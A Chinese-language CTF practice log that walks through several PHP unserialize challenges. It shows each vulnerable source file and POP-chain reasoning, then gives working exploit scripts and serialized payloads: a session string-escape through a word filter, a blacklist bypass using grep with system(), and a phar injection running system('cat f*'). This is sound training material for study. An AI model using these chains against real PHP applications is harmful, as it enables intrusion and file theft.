7.13刷题 [NewStarCTF 公开赛赛道]UnserializeOne 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $name ; protected $func ; public function __destruct ( )#12当一个对象被销毁时,__destruct ( ) 方法会被调用 { echo "Welcome to NewStarCTF, " .$this ->name; } public function __isset ($var )#4如何调用__isset ,当对不可访问属性(private ,protected 或者不存在 )使用isset ( )或empty ( ),isset ( )会被调用 { ($this ->func)(); } } class Sec { private $obj ; private $var ; public function __toString ( )#10当一个对象被当成一个字符串使用时,__toString ( ) 方法会被自动调用 { $this ->obj->check ($this ->var ); return "CTFers" ; } public function __invoke ( )#2想办法执行__invoke ,把对象当做函数用 { echo file_get_contents ('/flag' ); } } class Easy { public $cla ; public function __call ($fun , $var )#8当调用一个不可访问方法时,__call ( ) 会被调用 { $this ->cla = clone $var [0 ]; } } class eeee { public $obj ; public function __clone ( )#6当使用clone 关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; } } } if (isset ($_POST ['pop' ])){ unserialize ($_POST ['pop' ]); }
1 2 3 4 5 6 7 正向分析 1.创建一个Start对象 2.给name赋值Sec对象 3.Sec对象的obj属性赋值为Easy对象 4.给Easy对象的var属性赋值eeee对象 !!!clone调用把括号里的改成有__clone对象 5.eeee对象的obj属性赋值Start对象 6.给start对象的func属性赋值Sec对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class Start { public $name ; var $func ; } class Sec { var $obj ; var $var ; } class Easy { public $cla ; } class eeee { public $obj ; } $res = new Start ;$res ->name = new Sec ;$res ->name->obj = new Easy ;$res ->name->var =new eeee;$res ->name->var ->obj=new Start ;$res ->name->var ->obj->func=new Sec ;echo serialize ($res );O:5 :"Start" :2 :{s:4 :"name" ;O:3 :"Sec" :2 :{s:3 :"obj" ;O:4 :"Easy" :1 :{s:3 :"cla" ;N;}s:3 :"var" ;O:4 :"eeee" :1 :{s:3 :"obj" ;O:5 :"Start" :2 :{s:4 :"name" ;N;s:4 :"func" ;O:3 :"Sec" :2 :{s:3 :"obj" ;N;s:3 :"var" ;N;}}}}s:4 :"func" ;N;} or O:5 :"Start" :2 :{s:4 :"name" ;O:3 :"Sec" :2 :{s:8 :"%00Sec%00obj" ;O:4 :"Easy" :1 :{s:3 :"cla" ;N;}s:8 :"%00Sec%00var" ;O:4 :"eeee" :1 :{s:3 :"obj" ;O:5 :"Start" :2 :{s:4 :"name" ;N;s:4 :"func" ;O:3 :"Sec" :2 :{s:3 :"obj" ;N;s:3 :"var" ;N;}}}}s:7 :"%00*%00func" ;N;}
居然可以不用补上%00%00,长知识了
构造的时候最好按照这种链的方式构造,出现引用好像不太好使
[安洵杯 2019]easy_serialize_php 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
phpinfo可以拿到文件名d0g3_f1ag.php
通过post上传session可以进行反序列化
中间的filter函数过滤了’php’,’flag’,’php5’,’php4’,’fl1g’,替换为无字符
可以利用字符减少型绕过
a:2:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
吃掉 “;s:8:”function”;s:3:” 22个 flagflagflagflagphpphp 22个
可以执行s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
创建一个img元素,赋值为d0g3_f1ag.php的base64编码,记得新创建一个数组元素保证是数组
1 2 3 4 <?php $_SESSION ["user" ] = 'flagflagflagflagflagphp' ;$_SESSION ['function' ] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}' ;echo serialize ($_SESSION );
GET ?f=show_image
post提交 注意不加$,单引号,分号,空格!_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
查看源代码
1 2 3 4 5 6 7 8 <?php $flag = 'flag in /d0g3_fllllllag' ;?> 重新构造数组 _SESSION[user]=flagflagflagflagflagphp&_SESSION[function ]=" ;s:3 :"img" ;s:20 :"L2QwZzNfZmxsbGxsbGFn" ;s:1 :"1" ;s:1 :"2" ;}
拿到flag
还可以使用键名逃逸
1 2 3 4 5 6 7 8 9 _SESSION[flagphp]=;s:1 :"1" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;} 过滤前 a:2 :{s:7 :"phpflag" ;s:48 :";s:1:" 1 ";s:3:" img";s:20:" ZDBnM19mMWFnLnBocA==";} 过滤后 a:2:{s:7:" ";s:48:" ;s:1 :"1" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}下面的步骤和值替换一样 这里的键名变为";s:48: 实现了逃逸
[NewStarCTF 2023 公开赛道]Unserialize? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]); ?>
1 2 3 4 5 6 7 <?php class evil { private $cmd ='grep fl /th1s_1s_fffflllll4444aaaggggg' ; } echo urlencode (serialize (new evil));
用grep读取
[NewStarCTF 公开赛赛道]UnserializeThree upload/0412c29576c708cf0155e8de242169b1.jpg
phar反序列化
配合class.php
值得注意的是去掉前面#的影响
1 2 3 4 $o =new Evil ();$o ->cmd=urldecode ("%0d" )."system('cat f*');" ;或者 $o ->cmd="\r" ."system('cat f*');" ;
主站ez_pop 访问www.zip下载源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; public function __construct ( ) { echo "I think you need /etc/hint . Before this you need to see the source code" ; } public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello (); } public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ; } } class Info { private $phonenumber =123123 ; public $promise ='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; } } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; public function __get ($name ) { $function = $this ->a; return $function (); } public function Get_hint ($file ) { $hint =base64_encode (file_get_contents ($file )); echo $hint ; return ; } public function __invoke ( ) { $content = $this ->Get_hint ($this ->filename); echo $content ; } } if (isset ($_GET ['hello' ])){ unserialize ($_GET ['hello' ]); }else { $hi = new Start (); } ?>
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class Start { public $name ='guest' ; } class Info {} class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; } $res =new Start ();$res ->name=new Info ();$res ->name->file=['filename' =>new Room ()];$res ->name->file['filename' ]->a=new Room ();echo serialize ($res );?>
payload:O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}}
hint没啥用